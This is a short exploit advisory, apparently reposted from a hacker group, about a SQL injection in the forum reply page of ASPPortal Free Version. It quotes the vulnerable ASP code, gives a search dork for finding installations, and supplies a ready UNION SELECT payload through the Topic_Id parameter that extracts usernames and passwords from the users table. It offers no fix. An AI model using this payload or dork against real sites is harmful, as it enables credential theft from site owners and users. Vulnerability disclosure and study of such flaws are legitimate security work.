SecurityReason - ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

Advisory Text :

--==+=================== Spanish Hackers Team (www.spanish-hackers.com)
=================+==--
--==+ ASPPortal Free Version (Topic_Id) Remote SQL Injection
Vulnerability +==--
--==+======================================================================
==============+==--
- dreaming of necessity is reason to comply -

[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

// -------------------------------------- //

line 2: <%
Dim TopicID
Dim ForumID

TopicID = Server.HTMLEncode(request("Topic_id"))
ForumID = Server.HTMLEncode(request("Forum_ID"))
%>
<%
'sub db_select_detail_Disc_Topics
sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID,
Forums_Topics.Author, Forums_Topics.Topic_Subject,
Forums_Topics.Topic_Message, Forums_Topics.IsActive,
Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By,
Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon,
users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN
Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " &
to_sql(TopicID,"number") & ""

'response.write sql

set rs = cn.Execute(sql)

line 21: TopicId = rs("Topic_Id")

// -------------------------------------- //

[~]
http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL]
[~]
6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+use
rs

[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx;
you_know; shh-32; nettoxic; phnx; murder; and more...

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com)
=================+==--
--==+ JosS
+==--
--==+======================================================================
==============+==--
[+] [The End]